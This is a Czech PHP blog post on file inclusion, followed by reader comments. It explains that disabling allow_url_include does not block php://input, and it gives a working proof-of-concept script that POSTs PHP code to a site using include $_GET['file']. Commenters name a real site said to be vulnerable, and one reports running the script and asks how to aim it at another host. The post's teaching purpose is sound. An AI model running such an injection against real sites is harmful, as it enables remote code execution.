Vkládání souborů 2
Školení, která pořádám
O vkládání souborů jsem už psal, k tématu se dá ale ještě leccos doplnit:
- Pokud se má zpracování vloženého souboru předčasně ukončit, lze použít konstrukci return. Návratovou hodnotu lze dokonce testovat, použití
if (include('vars.php') == 'OK')
se ale vyhodnotí jako if (include(('vars.php') == 'OK'))
neboli if (include(false))
, je proto potřeba psát if ((include 'vars.php') == 'OK')
nebo výsledek vložení nejprve uložit do proměnné. I to je jeden z důvodů, proč parametry těchto jazykových konstrukcí neuzavírám do závorek.
- Pokud je potřeba nějaký soubor pouze vypsat (obzvláště pokud se jedná o soubor vzdálený), je mnohem lepší použít funkci readfile.
- Často je také k vidění testování existence souboru před vložením funkcí file_exists. Tento test nemusí projít ze dvou důvodů: include na rozdíl od file_exists pracuje s include_path a kromě toho může být běžný přístup k souboru omezen kvůli safe_mode. Pokud se ale soubor nachází v safe_mode_include_dir, může být přesto vložen.
Psal jsem i o životu nebezpečném vkládání neošetřených souborů. Kdekdo si myslí, že vypnutí direktivy allow_url_fopen (od PHP 5.2.0 allow_url_include) nás od největšího nebezpečí – vložení vzdáleného kódu – uchrání. Jak jsem ale zjistil od špičkového bezpečnostního experta Stefana Essera, tak to není pravda. Tato direktiva totiž nezakáže php://input
, takže libovolný kód lze podstrčit přímo na vstup skriptu:
<?php
$data = "<?php echo 'Hacked.'; ?>";
$host = "www.example.org";
$fp = fsockopen($host, 80);
fwrite($fp, "POST /?file=" . urlencode("php://input") . " HTTP/1.1\r\n");
fwrite($fp, "Host: $host\r\n");
fwrite($fp, "Content-Type: text/plain\r\n");
fwrite($fp, "Content-Length: " . strlen($data) . "\r\n");
fwrite($fp, "\r\n");
fwrite($fp, $data);
fpassthru($fp);
fclose($fp);
?>
Přijďte si o tomto tématu popovídat na školení Bezpečnost PHP aplikací.
Diskuse
Honca:
Mám dotaz ohledně přikazů require nebo include. Když tyto příkazy použiju ještě před načtením jakéhokoliv html kódu do stránky, tak se mi v IE rozhodí nejen text, ale i někdy kus stránky. To písmo je ale nejvýraznější, jednoduše se zvětší třeba i na dvojnásobek a ani přes striktní příkázání v CSS se to nezmění. Dělá jen IE, takže pokud budu chtít použít session nebo cookies, tak prostě nemám v IE šanci udržet stabilní layout. Pokud byste prosím s tím někdo měl taky zkušenosti a věděl, jak to vyřešit, budu moc vděčný za každou radu. Díky moc..
Doporučuji podívat se na zdrojový kód výsledné stránky. Nejspíš zjistíte, že před HTML kódem je ještě jiný výstup, nejspíš nějaké chybové hlášky.
Honca:
No, právě, že tam žádné výstupy nejsou, trošku jsem si to pokoumal a zjistil jsem, že mi to dělá opravdu jen u IE a většinou právě u příkazů require nebo include. K rozhození ale dojde i při použití příkazu echo, jako by to fakt reagovalo na nějaký nechtěný výstup. Když ale dám ještě před html značku nějaký znak(třeba písmeno), k rozhození dojde, ale u mezery k tomu nedojde. Je to pro mě šílená záhada, fakt si s tím vůbec nevím rady. Možná, že to třeba bude nastavením Apache, ale to se mi moc nezdá. Jinak stránky mám validní podle XHTML 1.0 Strict, takže chybu v html kódu taky vylučuju...
Honca:
Tak Jakube, jako smekám před vámi.. že by to mohlo být tímhle by mě teda nikdy nenapadlo. V Dreamweaveru jsem měl vkládání BOM pořád zaškrtlé, protože jsem nějak nevěděl, co to ve finále dělá. Mockrát díky za pomoc, vyřešil jste mi problém, který mě už trápil snad rok... ;-)
Honca:
Jo, jinak všechno nejlepší k dnešnímu svátku, koukám, že se to dneska celkem hodí :-))
spaze:
K tomu php://input útoku, je to pěkný, ovšem úspěch předpokládá přibližně následující kód na example.org/index.php:
<?php
include $_GET['file'];
?>
A to snad nikdo rozumnej neudělá. Takže nechte si allow_url_fopen povolený a napište to tak, aby to nešlo zneužít a zalepíte tím i díry, o kterých nemáte ani tušení ;)
těžkotonážní pusa:
s řešením souhlasím; s tím, že to nikdo rozumnej neudělá, ne.
viz např.
http://www.evici.cz/abc (kde místo "abc" můžete zkusit cokoli ostatní). (Poznámka: tato stránka, v době, kdy tento příspěvek odesílám, includuje část URL za doménou bez jakéhokoli ošetření.) Btw. to není žádná amatérská stránka, ale (údajný) "tým zkušených odborníků [...] složený ze špičkových [...] programátorů", který si za nějaký jednoduchý projekt bez mrknutí oka řekne o několik desítek tisíc. Čili i to se stává (v tomto případě, s trochou ironie sobě vlastní, se chybové hlášky nakupily napravo od naparování, jak jsou tam všichni kreativní, úspěšní a profesionální ... :-( )
v6ak:
To, že si tak říkají, ještě neznamená, že jsou. Toto mě nenapadlo ani když jsem s PHP začínal a ve chvíli, kdy jsem neznal php://input, allow_url_fopen, uploady apod. mi bylo jasný, že je to příliš obecné.
jon1k555:
kdyz mi tohle vyhodi ten script pro potencionalni utok tak to znamena ze jsou ty prikazy na WZ zakazany???
fungovalo by to kdybych tenhle script spustil na placenym hostingu??? kde by to bylo povoleny, ale nasmeroval bych to na WZ web??? diky
Warning: fsockopen proc_open glob copy() has been disabled for security reasons in /3w/wz.cz/j/jon1k555/hackpokus.php on line 4
Warning: fwrite(): supplied argument is not a valid stream resource in /3w/wz.cz/j/jon1k555/hackpokus.php on line 5
Warning: fpassthru(): supplied argument is not a valid stream resource in /3w/wz.cz/j/jon1k555/hackpokus.php on line 11
Warning: fclose(): supplied argument is not a valid stream resource in /3w/wz.cz/j/jon1k555/hackpokus.php on line 12
Diskuse je zrušena z důvodu spamu.